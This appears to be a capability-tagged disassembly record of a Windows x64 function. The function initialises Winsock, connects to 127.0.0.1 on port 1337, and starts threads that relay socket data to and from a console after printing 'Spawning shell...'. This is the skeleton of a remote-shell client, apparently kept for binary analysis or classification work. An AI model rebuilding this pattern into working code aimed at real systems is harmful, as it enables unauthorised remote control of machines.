Function at 0x140001170
Capabilities:
Connect socket
Create thread
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x220
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x210], rax
xor esi, esi
lea rdx, [rsp + 0x70]
mov ecx, 0x202
mov qword [rsp + 0x30], rsi
mov rdi, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400011c7
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001010
lea eax, [rdi + 2]
jmp 0x1400013f8
xorps xmm0, xmm0
mov qword [rsp + 0x40], rsi
xorps xmm1, xmm1
mov dword [rsp + 0x48], 1
lea r9, [rsp + 0x30]
mov dword [rsp + 0x4c], 6
lea r8, [rsp + 0x40]
lea rdx, str.1337
lea rcx, str.127.0.0.1
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14000122e
mov edx, eax
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400013f8
mov qword [rsp + 0x230], rbx
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x140001293
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012be
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000128e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140001240
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x1400012a2
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
jne 0x1400012e2
lea rcx, str.____Unable_to_connect_to_server__n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400013f0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400013f0
lea rcx, [rsp + 0x38]
mov r9, rdi
mov qword [rsp + 0x28], rcx
lea r8, [0x140001420]
xor ecx, ecx
mov dword [rsp + 0x20], esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001320
lea rcx, str.____Create_thread_failed:_ReceiveDataFromSocket_n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x1400013f0
lea rax, [rsp + 0x3c]
mov r9, rdi
mov qword [rsp + 0x28], rax
lea r8, [0x1400014d0]
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x14000135e
lea rcx, str.____Create_thread_failed:_SendDataFromConsole_n
call fcn.140001010
lea eax, [rsi - 1]
jmp 0x1400013f0
lea rcx, str.___mod_ms_win_core_apiquery_l1_1_0.dll_has_been_loaded._n
call fcn.140001010
lea rcx, str.___Connected._n
call fcn.140001010
lea rcx, str.___Spawning_shell..._n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x1400013cd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400013f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rbx, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.140001630
mov rsi, qword [rsp + 0x238]
add rsp, 0x220
pop rdi
ret